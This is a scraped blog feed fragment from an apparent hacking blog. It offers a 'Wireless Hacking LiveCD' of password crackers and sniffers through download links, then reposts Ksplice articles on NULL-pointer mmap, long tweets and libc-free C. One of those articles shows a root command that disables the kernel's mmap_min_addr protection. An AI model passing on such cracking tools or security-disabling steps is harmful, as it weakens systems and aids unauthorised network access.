/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/5313205952865600773/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/07/tut-how-to-hack-website-by-xss.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/5313205952865600773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/5313205952865600773'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/07/tut-how-to-hack-website-by-xss.html' title='[Tut] How to Hack a Website by XSS'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-2008685482019987619</id><published>2010-07-07T12:29:00.000-07:00</published><updated>2010-07-07T12:31:29.101-07:00</updated><title type='text'>WIFISLAX-Live CD WIFI Hack</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i47.tinypic.com/34fecxt.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 499px; height: 325px;" src="http://i47.tinypic.com/34fecxt.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Wireless Hacking LiveCD FBI 2010 | 630 MB&lt;br /&gt;&lt;br /&gt;An edited and slightly updated version of the popular LiveCD for working with wireless networks. Based on Ubuntu, provides a graphical interfeys.Disk boot, there is a script to be installed on the PC hard drive or a virtual machine (VirtualPC is not supported). Integrated over 50 tools to work with the network – scanners, sniffers, password crackers, and so on. utility.Krome of this – a full Linuhe sustainable yadrom.Posle installed on the hard disk system can be Russified, supplemented, adjusted to taste vladeltsa.V addition to the Back Track 4 – a very powerful set of tools to work with networks in the first place – besprovodnymi.Imeetsya a decent set of drivers for many types adapterov.V inete in various models has been known since 2007, the popular view that his creation had to do with the FBI.&lt;br /&gt;Requirements:&lt;br /&gt;RAM] 256 Mb&lt;br /&gt;CPU] 800 GHz&lt;br /&gt;HDD] 4 Gb&lt;br /&gt;&lt;br /&gt;Checksums:&lt;br /&gt;CRC32: 0D504602&lt;br /&gt;MD5: D6E4E9DBCE86DC165DCF24808 1E4F421&lt;br /&gt;SHA-1: 489BE5B921211986F47EECA42 EE516275BE94267&lt;br /&gt;&lt;br /&gt;Year: 2010&lt;br /&gt;Developer: GNU&lt;br /&gt;Type: Hack &amp; Tools&lt;br /&gt;Medicine: Not required&lt;br /&gt;Size: 630 MB&lt;br /&gt;&lt;blockquote&gt;http://hotfile.com/dl/42033254/285b29c/Wireless_Hacking_LiveCD_FBI_v_2010.part1.rar.html&lt;br /&gt;http://hotfile.com/dl/42033361/eed387f/Wireless_Hacking_LiveCD_FBI_v_2010.part2.rar.html&lt;br /&gt;http://hotfile.com/dl/42033499/4ee96bb/Wireless_Hacking_LiveCD_FBI_v_2010.part3.rar.html&lt;br /&gt;http://hotfile.com/dl/42033607/596db3c/Wireless_Hacking_LiveCD_FBI_v_2010.part4.rar.html&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;reference:r00tsecurity&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-2008685482019987619?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/2008685482019987619/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/07/wifislax-live-cd-wifi-hack.html#comment-form' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2008685482019987619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/2008685482019987619'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/07/wifislax-live-cd-wifi-hack.html' title='WIFISLAX-Live CD WIFI Hack'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i47.tinypic.com/34fecxt_th.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-1604405520156801457</id><published>2010-07-02T07:44:00.000-07:00</published><updated>2010-07-02T08:07:15.919-07:00</updated><title type='text'>Much ado about NULL: An introduction to virtual memory</title><content type='html'>Here at Ksplice, we’re always keeping a very close eye on vulnerabilities that are being announced in Linux. And in the last half of last year, it was very clear that NULL pointer dereference vulnerabilities were the current big thing. Brad Spengler made it abundantly clear to anyone who was paying the least bit attention that these vulnerabilities, far more than being mere denial of service attacks, were trivially exploitable privilege escalation vulnerabilities. Some observers even dubbed 2009 the year of the kernel NULL pointer dereference.&lt;br /&gt;If you’ve ever programmed in C, you’ve probably run into a NULL pointer dereference at some point. But almost certainly, all it did was crash your program with the dreaded “Segmentation Fault”. Annoying, and often painful to debug, but nothing more than a crash. So how is it that this simple programming error becomes so dangerous when it happens in the kernel? Inspired by all the fuss, this post will explore a little bit of how memory works behind the scenes on your computer. By the end of today’s installment, we’ll understand how to write a C program that reads and writes to a NULL pointer without crashing. In a future post, I’ll take it a step further and go all the way to showing how an attacker would exploit a NULL pointer dereference in the kernel to take control of a machine!&lt;br /&gt;What’s in a pointer?&lt;br /&gt;There’s nothing fundamentally magical about pointers in C (or assembly, if that’s your thing). A pointer is just an integer, that (with the help of the hardware) refers to a location somewhere in that big array of bits we call a computer’s memory. We can write a C program to print out a random pointer:&lt;br /&gt;&lt;blockquote&gt;#include &lt;stdio.h&gt;&lt;br /&gt;int main(int argc, char **argv) {&lt;br /&gt;  printf("The argv pointer = %d\n", argv);&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;Which, if you run it on my machine, prints:&lt;br /&gt;The argv pointer = 1680681096&lt;br /&gt;(Pointers are conventionally written in hexadecimal, which would make that 0x642d2888, but that’s just a notational thing. They’re still just integers.)&lt;br /&gt;NULL is only slightly special as a pointer value: if we look in stddef.h, we can see that it’s just defined to be the pointer with value 0. The only thing really special about NULL is that, by convention, the operating system sets things up so that NULL is an invalid pointer, and any attempts to read or write through it lead to an error, which we call a segmentation fault. However, this is just convention; to the hardware, NULL is just another possible pointer value.&lt;br /&gt;But what do those integers actually mean? We need to understand a little bit more about how memory works in a modern computer. In the old days (and still on many embedded devices), a pointer value was literally an index into all of the memory on those little RAM chips in your computer:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blog.ksplice.com/wp-content/uploads/2010/03/physmem.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 1000px; height: 2200px;" src="http://blog.ksplice.com/wp-content/uploads/2010/03/physmem.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;This was true for every program, including the operating system itself. You can probably guess what goes wrong here: suppose that Microsoft Word is storing your document at address 700 in memory. Now, you’re browsing the web, and a bug in Internet Explorer causes it to start scribbling over random memory and it happens to scribble over memory around address 700. Suddenly, bam, Internet Explorer takes Word down with it. It’s actually even worse than that: a bug in IE can even take down the entire operating system.&lt;br /&gt;This was widely regarded as a bad move, and so all modern hardware supports, and operating systems use, a scheme called virtual memory. What this means it that every program running on your computer has its own namespace for pointers (from 0 to 232-1, on a 32-bit machine). The value 700 means something completely different to Microsoft Word and Internet Explorer, and neither can access the other’s memory. The operating system is in charge of managing these so-called address spaces, and mapping different pieces of each program’s address space to different pieces of physical memory.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blog.ksplice.com/wp-content/uploads/2010/03/virtmem.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 2000px; height: 2200px;" src="http://blog.ksplice.com/wp-content/uploads/2010/03/virtmem.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;mmap(2)&lt;br /&gt;One feature of this setup is that while each process has its own 232 possible addresses, not all of them need to be valid (correspond to real memory). In particular, by default, the NULL or 0 pointer does not correspond to valid memory, which is why accessing it leads to a crash.&lt;br /&gt;Because each application has its own address space, however, it is free to do with it as it wants. For instance, you’re welcome to declare that NULL should be a valid address in your application. We refer to this as “mapping” the NULL page, because you’re declaring that that area of memory should map to some piece of physical memory.&lt;br /&gt;On Linux (and other UNIX) systems, the function call used for mapping regions of memory is mmap(2). mmap is defined as:&lt;br /&gt;void *mmap(void *addr, size_t length, int prot, int flags,&lt;br /&gt;           int fd, off_t offset);&lt;br /&gt;Let’s go through those arguments in order (All of this information comes from the man page):&lt;br /&gt;addr&lt;br /&gt;This is the address where the application wants to map memory. If MAP_FIXED is not specified in flags, mmap may select a different address if the selected one is not available or inappropriate for some reason.&lt;br /&gt;length&lt;br /&gt;The length of the region the application wants to map. Memory can only be mapped in increments of a “page”, which is 4k (4096 bytes) on x86 processors.&lt;br /&gt;prot&lt;br /&gt;Short for “protection”, this argument must be a combination of one or more of the values PROT_READ, PROT_WRITE, PROT_EXEC, or PROT_NONE, indicating whether the application should be able to read, write, execute, or none of the above, the mapped memory.&lt;br /&gt;flags&lt;br /&gt;Controls various options about the mapping. There are a number of flags that can go here. Some interesting ones are MAP_PRIVATE, which indicates the mapping should not be shared with any other process, MAP_ANONYMOUS, which indicates that the fd argument is irrelevant, and MAP_FIXED, which indicates that we want memory located exactly at addr.&lt;br /&gt;fd&lt;br /&gt;The primary use of mmap is not just as a memory allocator, but in order to map files on disk to appear in a process’s address space, in which case fd refers to an open file descriptor to map. Since we just want a random chunk of memory, we’re going pass MAP_ANONYMOUS in flags, which indicates that we don’t want to map a file, and fd is irrelevant.&lt;br /&gt;offset&lt;br /&gt;This argument would be used with fd to indicate which portion of a file we wanted to map.&lt;br /&gt;mmap returns the address of the new mapping, or MAP_FAILED if something went wrong.&lt;br /&gt;If we just want to be able to read and write the NULL pointer, we’ll want to set addr to 0 and length to 4096, in order to map the first page of memory. We’ll need PROT_READ and PROT_WRITE to be able to read and write, and all three of the flags I mentioned. fd and offset are irrelevant; we’ll set them to -1 and 0 respectively.&lt;br /&gt;Putting it all together, we get the following short C program, which successfully reads and writes through a NULL pointer without crashing!&lt;br /&gt;(Note that most modern systems actually specifically disallow mapping the NULL page, out of security concerns. To run the following example on a recent Linux machine at home, you’ll need to run # echo 0 &gt; /proc/sys/vm/mmap_min_addr as root, first.)&lt;br /&gt;#include &lt;sys/mman.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;  int *ptr = NULL;&lt;br /&gt;  if (mmap(0, 4096, PROT_READ|PROT_WRITE,&lt;br /&gt;           MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0)&lt;br /&gt;      == MAP_FAILED) {&lt;br /&gt;    perror("Unable to mmap(NULL)");&lt;br /&gt;    fprintf(stderr, "Is /proc/sys/vm/mmap_min_addr non-zero?\n");&lt;br /&gt;    return 1;&lt;br /&gt;  }&lt;br /&gt;  printf("Dereferencing my NULL pointer yields: %d\n", *ptr);&lt;br /&gt;  *ptr = 17;&lt;br /&gt;  printf("Now it's: %d\n", *ptr);&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;Next time, we’ll look at how a process can not only map NULL in its own address space, but can also create mappings in the kernel’s address space. And, I’ll show you how this lets an attacker use a NULL dereference in the kernel to take over the entire machine. Stay tuned!&lt;br /&gt;The 1st International Longest Tweet Contest&lt;br /&gt;Posted in Programming on March 25th, 2010 by Keith Winstein – 30 Comments&lt;br /&gt;How much information is in a tweet?&lt;br /&gt;There are a lot of snarky answers to that. Let’s talk mathematically, where information is measured in bits: How many bits can be expressed in a tweet?&lt;br /&gt;It’s kind of fun to try to figure out how to cram in the most information. Our current in-house record is 4.2 kilobits (525 bytes) per tweet, but this can definitely be bested. Twitter’s 140-character limit has been under assault for some time, but nobody has decisively anointed a winner.&lt;br /&gt;To that end, announcing the 1st International Longest Tweet Contest, along the lines of the﻿﻿ International Obfuscated C Code Contest. The goal: fit the most bits of information into a tweet. There will be glorious fame and a T-shirt for the winner. More on that later. But first, a dialog:&lt;br /&gt;Ben Bitdiddle: How big can a tweet get? SMS is limited to 160 characters of 7-bit ASCII, or 1,120 bits. Since Twitter based their limit on SMS but with 20 characters reserved for your name, a tweet is probably limited to 140 × 7 = 980 bits.&lt;br /&gt;Alyssa P. Hacker: Not quite — despite its SMS roots, Twitter supports Unicode, and the company says its 140-character limit is based on Unicode characters, not ASCII. So it’s a lot more than 980 bits.&lt;br /&gt;Ben: Ok, Unicode is a 16-bit character set, so the answer is 140 × 16 = 2,240 bits.&lt;br /&gt;Alyssa: Well, since that Java documentation was written, Unicode has expanded to cover more of the world’s languages. These days there are ﻿﻿﻿﻿1,112,064 possible Unicode characters (officially “Unicode scalar values”) that can be represented, including in the UTF-8 encoding that Twitter and most of the Internet uses. That makes Unicode about 20.1 bits per character, not 16. (Since log2 1,112,064 ≈ 20.1.)&lt;br /&gt;Ben: Ok, if each character can take on one of 1,112,064 possible values, we can use that to figure out how many total different tweets there can ever be. And from that, we’ll know how many bits can be encoded into a tweet. But how?&lt;br /&gt;Alyssa: It’s easy! We just calculate the total number of different tweets that can ever be received. The capacity of a tweet, in bits, is just the base-2 logarithm of that number. According to my calculator here, 1,112,064 to the 140th power is about 28.7 ﻿﻿﻿﻿﻿﻿quattuordecillion googol googol googol googol googol googol googol googol. That’s the number of distinct 140-character messages that can be sent. Plus we have to add in the 139-character messages and 138-character messages, etc. Taking the log, I get 2,811 bits per tweet.&lt;br /&gt;Ben: We’d get almost the same answer if we just multiplied 20.1 bits per character times 140 characters. Ok, 2.8 kilobits per tweet.&lt;br /&gt;Alyssa: I just discovered a problem. There aren’t that many distinct tweets! For example, I can’t tell the difference between the single character ‘&lt;’ and the four characters ‘&amp;lt;’. I also can’t send a tweet that contains nothing but some null characters. So we have to deflate our number a little bit. It’s tricky because we don’t know Twitter’s exact limitations; it’s a black box.&lt;br /&gt;Ben: But the answer will still be roughly 2.8 kilobits. Can we do better?&lt;br /&gt;Alyssa: By golly, I think we can! Turns out Unicode is basically identical to an international standard, called the Universal Multi-Octet Coded Character Set, known as UCS or ISO/IEC 10646. But the two standards weren’t always the same — in the 90s, there was a lot of disagreement between the computer companies who backed Unicode and proposed a simple 16-bit character set, and the standards mavens behind UCS, who wanted to accommodate more languages than 65,536 characters would allow. The two sides eventually compromised on the current 20.1-bit character set, but some historical differences still linger between the two “official” specifications — including in the definition of the UTF-8 encoding that Twitter uses. Check this out:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blog.ksplice.com/wp-content/uploads/2010/03/unicode.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 371px; height: 109px;" src="http://blog.ksplice.com/wp-content/uploads/2010/03/unicode.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blog.ksplice.com/wp-content/uploads/2010/03/ucs.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 371px; height: 109px;" src="http://blog.ksplice.com/wp-content/uploads/2010/03/ucs.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Alyssa: Although Unicode’s UTF-8 can only encode the 1,112,064 Unicode scalar values, UCS’s version of UTF-8 is a lot bigger — it goes up to 31 bits!&lt;br /&gt;Ben: So, when Twitter says they use UTF-8, which version are they using? Unicode, or UCS?&lt;br /&gt;Alyssa: Hmm, that’s a good question. Let’s write a program to test. I’ll send Twitter a really big UCS character in UTF-8, represented in octal like this. This is way outside the bounds of well-formed Unicode.&lt;br /&gt;&lt;blockquote&gt;$ perl -Mbytes -we 'print pack "U", (2**31 - 5)' | od -t o1&lt;br /&gt;0000000 375 277 277 277 277 273&lt;/blockquote&gt;&lt;br /&gt;Ben: Hey, that kind of worked! When we fetch it back using Twitter’s JSON API, we get this JSON fragment:&lt;br /&gt;&lt;blockquote&gt;“﻿﻿text”:”\\375\\277\\277\\277\\277\\273″&lt;/blockquote&gt;&lt;br /&gt;Alyssa: It’s the same thing we sent! The character (really an unassigned code position) is represented in UTF-8, in octal with backslashes in ASCII. That means Twitter “characters” are actually 31 bits, not 20.1 bits. The capacity of a tweet is actually a lot bigger than the 2.8 kilobits we calculated earlier.&lt;br /&gt;Ben: Should we worry that the text only shows up in the JSON API, not XML or HTML, and these high characters only last a few days on Twitter’s site before vanishing?&lt;br /&gt;Alyssa: Nope. As long as we had this exchange in our conversation, people on the Internet won’t complain about those issues.&lt;br /&gt;Using Alyssa’s insight that Twitter actually supports 31-bit UCS characters (not just Unicode), we can come up with a simple program to send 4.2-kilobit tweets using only code positions that aren’t in Unicode. That way there’s no ambiguity between these crazy code positions, which Twitter represents as backslashed octal, and legitimate Unicode, which Twitter sends literally. These tweets have a text field that’s a whopping 3,360 bytes long — but in ASCII octal UTF-8, so they only represent 525 bytes of information in the end.&lt;br /&gt;The sender program reads the first 525 bytes of standard input or a file, slices it into 30-bit chunks, and sends it to Twitter using 31-bit UCS code positions. The high bit of each character is set to 1 to avoid ever sending a valid Unicode UTF-8 string, which Twitter might treat ambiguously. It outputs the ID of the tweet it posted. You’ll have to fill in your own username and password to test it.&lt;br /&gt;The receiver program does the opposite — give it an ID on the command line, and it will retrieve and decode a “megatwit” encoded by the sender.&lt;br /&gt;Here’s an example of how to use the programs and verify that they can encode at least one arbitrary 4,200-bit message:&lt;br /&gt;&lt;blockquote&gt;$ dd if=/dev/urandom of=random.bits bs=525 count=1&lt;br /&gt;1+0 records in&lt;br /&gt;1+0 records out&lt;br /&gt;525 bytes (525 B) copied, 0.0161392 s, 32.5 kB/s&lt;br /&gt;$ md5sum random.bits&lt;br /&gt;a7da09e59d1b6807e78aac7004e6ba41  random.bits&lt;br /&gt;$ ./megatwit-send &lt; random.bits&lt;br /&gt;11037181699&lt;br /&gt;$ ./megatwit-get 11037181699 | md5sum&lt;br /&gt;a7da09e59d1b6807e78aac7004e6ba41  -&lt;/blockquote&gt;&lt;br /&gt;But this is just the start -- we're not the only ones interested in really long tweets. (Structures, strictures...) Others have found an apparent loophole in how Twitter handles some URLs, allowing them to send tweets with a text field up to 532 bytes long (how much information can be coded this way isn't clear). Maxitweet has come up with a clever way to milk the most out of 140 Unicode characters without requiring a decoder program, at least at its lower compression levels. There are definitely even better ways to cram as many bits as possible into a tweet.&lt;br /&gt;So here is the challenge for the 1st International Longest Tweet Contest:&lt;br /&gt;Come up with a strategy for encoding arbitrary binary data into a single tweet, along the lines of the sample programs described here.&lt;br /&gt;Implement a sender and receiver for the strategy in a computer programming language of your choice. We recommend you choose a language likely to be runnable by a wide variety of readers. At your option, you may provide a Web site or other public implementation for others to test your coding scheme with arbitrary binary input.&lt;br /&gt;Write a description, in English, for how your coding scheme works. Explain how many bits per tweet it achieves, and justify your calculation. The explanation must be convincing because it is intractable to prove conclusively that a certain capacity is achievable, even if a program successfully sends and receives many test cases.&lt;br /&gt;Send your entry, consisting of #2 and #3, to megatwit@ksplice.com before Sunday, April 11, 2010, 23h59 UTC.&lt;br /&gt;Based on the English explanations of the coding schemes (#3), we'll select finalists from among the entrants. In mid-April, we'll post the finalists' submissions on the blog. In the spirit of Twitter, we'll let the community assess, criticize, test, and pick apart the finalists' entries.&lt;br /&gt;Based on the community's feedback, we'll choose at least one winner. This will generally be the person whose scheme for achieving the highest information encoded per tweet is judged most convincing.&lt;br /&gt;The winner will receive notoriety and fame on this blog, and a smart-looking Ksplice T-shirt in the size of your choice. You will be known the world over as the Reigning Champion of the International Longest Tweet Contest until there is another contest. Legally we can't promise this, but there's a chance Stephen Colbert will have you on as a result of winning this prestigious contest.&lt;br /&gt;By entering the contest, you are giving Ksplice permission to post your entry if you are selected as a finalist. The contest is void where prohibited. The rules are subject to change at our discretion. Employees of Ksplice aren't eligible because they already have T-shirts. Judging will be done by Ksplice in its sole discretion.&lt;br /&gt;That's it. Happy tweeting!&lt;br /&gt;Hello from a libc-free world! (Part 1)&lt;br /&gt;Posted in computer architecture on March 16th, 2010 by Jessica McKellar – 104 Comments&lt;br /&gt;As an exercise, I want to write a Hello World program in C simple enough that I can disassemble it and be able to explain all of the assembly to myself.&lt;br /&gt;This should be easy, right?&lt;br /&gt;This adventure assumes compilation and execution on a Linux machine. Some familiarity with reading assembly is helpful.&lt;br /&gt;Here’s our basic Hello World program:&lt;br /&gt;&lt;blockquote&gt;jesstess@kid-charlemagne:~/c$ cat hello.c&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  printf("Hello World\n");&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;Let’s compile it and get a bytecount:&lt;br /&gt;&lt;blockquote&gt;jesstess@kid-charlemagne:~/c$ gcc -o hello hello.c&lt;br /&gt;jesstess@kid-charlemagne:~/c$ wc -c hello&lt;br /&gt;10931 hello&lt;/blockquote&gt;&lt;br /&gt;Yikes! Where are 11 Kilobytes worth of executable coming from? objdump -t hello gives us 79 symbol-table entries, most of which we can blame on our using the standard library.&lt;br /&gt;So let’s stop using it. We won’t use printf so we can get rid of our include file:&lt;br /&gt;&lt;blockquote&gt;jesstess@kid-charlemagne:~/c$ cat hello.c&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  char *str = "Hello World";&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;Recompiling and checking the bytecount:&lt;br /&gt;jesstess@kid-charlemagne:~/c$ gcc -o hello hello.c&lt;br /&gt;jesstess@kid-charlemagne:~/c$ wc -c hello&lt;br /&gt;10892 hello&lt;/blockquote&gt;&lt;br /&gt;What? That barely changed anything!&lt;br /&gt;The problem is that gcc is still using standard library startup files when linking. Want proof? We’ll compile with -nostdlib, which according to the gcc man page won’t “use the standard system libraries and startup files when linking. Only the files you specify will be passed to the linker”.&lt;br /&gt;&lt;blockquote&gt;jesstess@kid-charlemagne:~/c$ gcc -nostdlib -o hello hello.c&lt;br /&gt;/usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 00000000004000e8&lt;/blockquote&gt;&lt;br /&gt;Well, it’s just a warning; let’s check it anyway:&lt;br /&gt;&lt;blockquote&gt;jesstess@kid-charlemagne:~/c$ wc -c hello&lt;br /&gt;1329 hello&lt;/blockquote&gt;&lt;br /&gt;That looks pretty good! We got our bytecount down to a much more reasonable size (an order of magnitude smaller!)…&lt;br /&gt;&lt;blockquote&gt;jesstess@kid-charlemagne:~/c$ ./hello&lt;br /&gt;Segmentation fault&lt;/blockquote&gt;&lt;br /&gt;…at the expense of segfaulting when it runs. Hrmph.&lt;br /&gt;For fun, let’s get our program to be actually runnable before digging into the assembly.&lt;br /&gt;So what is this _start entry symbol that appears to be required for our program to run? Where is it usually defined if you’re using libc?&lt;br /&gt;From the perspective of the linker, by default _start is the actual entry point to your program, not main. It is normally defined in the crt1.o ELF relocatable. We can verify this by linking against crt1.o and noting that _start is now found (although we develop other problems by not having defined other necessary libc startup symbols):&lt;br /&gt;&lt;blockquote&gt;# Compile the source files but don't link&lt;br /&gt;jesstess@kid-charlemagne:~/c$ gcc -Os -c hello.c&lt;br /&gt;# Now try to link&lt;br /&gt;jesstess@kid-charlemagne:~/c$ ld /usr/lib/crt1.o -o hello hello.o&lt;br /&gt;/usr/lib/crt1.o: In function `_start':&lt;br /&gt;/build/buildd/glibc-2.9/csu/../sysdeps/x86_64/elf/start.S:106: undefined reference to `__libc_csu_fini'&lt;br /&gt;/build/buildd/glibc-2.9/csu/../sysdeps/x86_64/elf/start.S:107: undefined reference to `__libc_csu_init'&lt;br /&gt;/build/buildd/glibc-2.9/csu/../sysdeps/x86_64/elf/start.S:113: undefined reference to `__libc_start_main'&lt;br /&gt;This check conveniently also tells us where _start lives in the libc source: sysdeps/x86_64/elf/start.S for this particular machine. This delightfully well-commented file exports the _start symbol, sets up the stack and some registers, and calls __libc_start_main. If we look at the very bottom of csu/libc-start.c we see the call to our program’s main:&lt;br /&gt;/* Nothing fancy, just call the function.  */&lt;br /&gt;result = main (argc, argv, __environ MAIN_AUXVEC_PARAM);&lt;br /&gt;and down the rabbit hole we go.&lt;br /&gt;So that’s what _start is all about. Conveniently, we can summarize what happens between _start and the call to main as “set up a bunch of stuff for libc and then call main”, and since we don’t care about libc, let’s just export our own _start symbol that just calls main and link against that:&lt;br /&gt;jesstess@kid-charlemagne:~/c$ cat stubstart.S&lt;br /&gt;.globl _start&lt;br /&gt;&lt;br /&gt;_start:&lt;br /&gt; call main&lt;br /&gt;Compiling and running with our stub _start assembly file:&lt;br /&gt;jesstess@kid-charlemagne:~/c$ gcc -nostdlib stubstart.S -o hello hello.c&lt;br /&gt;jesstess@kid-charlemagne:~/c$ ./hello&lt;br /&gt;Segmentation fault&lt;/blockquote&gt;&lt;br /&gt;Hurrah, our compilation problems go away! However, we still segfault. Why? Let’s compile with debugging information and take a look in gdb. We’ll set a breakpoint at main and step through until the segfault:&lt;br /&gt;&lt;blockquote&gt;jesstess@kid-charlemagne:~/c$ gcc -g -nostdlib stubstart.S -o hello hello.c&lt;br /&gt;jesstess@kid-charlemagne:~/c$ gdb hello&lt;br /&gt;GNU gdb 6.8-debian&lt;br /&gt;Copyright (C) 2008 Free Software Foundation, Inc.&lt;br /&gt;License GPLv3+: GNU GPL version 3 or later&lt;br /&gt;This is free software: you are free to change and redistribute it.&lt;br /&gt;There is NO WARRANTY, to the extent permitted by law.  Type "show copying"&lt;br /&gt;and "show warranty" for details.&lt;br /&gt;This GDB was configured as "x86_64-linux-gnu"...&lt;br /&gt;(gdb) break main&lt;br /&gt;Breakpoint 1 at 0x4000f4: file hello.c, line 3.&lt;br /&gt;(gdb) run&lt;br /&gt;Starting program: /home/jesstess/c/hello&lt;br /&gt;&lt;br /&gt;Breakpoint 1, main () at hello.c:5&lt;br /&gt;5   char *str = "Hello World";&lt;br /&gt;(gdb) step&lt;br /&gt;6   return 0;&lt;br /&gt;(gdb) step&lt;br /&gt;7 }&lt;br /&gt;(gdb) step&lt;br /&gt;0x00000000004000ed in _start ()&lt;br /&gt;(gdb) step&lt;br /&gt;Single stepping until exit from function _start,&lt;br /&gt;which has no line number information.&lt;br /&gt;main () at helloint.c:4&lt;br /&gt;4 {&lt;br /&gt;(gdb) step&lt;br /&gt;&lt;br /&gt;Breakpoint 1, main () at helloint.c:5&lt;br /&gt;5   char *str = "Hello World";&lt;br /&gt;(gdb) step&lt;br /&gt;6   return 0;&lt;br /&gt;(gdb) step&lt;br /&gt;7 }&lt;br /&gt;(gdb) step&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x0000000000000001 in ?? ()&lt;br /&gt;(gdb)&lt;br /&gt;Wait, what? Why are we running through main twice? …It’s time to look at the assembly:&lt;br /&gt;jesstess@kid-charlemagne:~/c$ objdump -d hello&lt;br /&gt;&lt;br /&gt;hello:     file format elf64-x86-64&lt;br /&gt;&lt;br /&gt;Disassembly of section .text:&lt;br /&gt;&lt;br /&gt;00000000004000e8 &lt;_start&gt;:&lt;br /&gt;  4000e8: e8 03 00 00 00        callq  4000f0&lt;br /&gt;  4000ed: 90                    nop&lt;br /&gt;  4000ee: 90                    nop&lt;br /&gt;  4000ef: 90                    nop    &lt;br /&gt;&lt;br /&gt;00000000004000f0 :&lt;br /&gt;  4000f0: 55                    push   %rbp&lt;br /&gt;  4000f1: 48 89 e5              mov    %rsp,%rbp&lt;br /&gt;  4000f4: 48 c7 45 f8 03 01 40  movq   $0x400103,-0x8(%rbp)&lt;br /&gt;  4000fb: 00&lt;br /&gt;  4000fc: b8 00 00 00 00        mov    $0x0,%eax&lt;br /&gt;  400101: c9                    leaveq&lt;br /&gt;  400102: c3                    retq&lt;/blockquote&gt;&lt;br /&gt;D’oh! Let’s save a detailed examination of the assembly for later, but in brief: when we return from the callq to main we hit some nops and run right back into main. Since we re-entered main without putting a return instruction pointer on the stack as part of the standard prologue for calling a function, the second call to retq tries to pop a bogus return instruction pointer off the stack and jump to it and we bomb out. We need an exit strategy.&lt;br /&gt;Literally. After the return from callq, push 1, the syscall number for SYS_exit, into %eax, and because we want to say that we’re exiting cleanly, put a status of 0, SYS_exit’s only argument, into %ebx. Then make the interrupt to drop into the kernel with int $0x80.&lt;br /&gt;&lt;blockquote&gt;jesstess@kid-charlemagne:~/c$ cat stubstart.S&lt;br /&gt;.globl _start&lt;br /&gt;&lt;br /&gt;_start:&lt;br /&gt; call main&lt;br /&gt; movl $1, %eax&lt;br /&gt; xorl %ebx, %ebx&lt;br /&gt; int $0x80&lt;br /&gt;jesstess@kid-charlemagne:~/c$ gcc -nostdlib stubstart.S -o hello 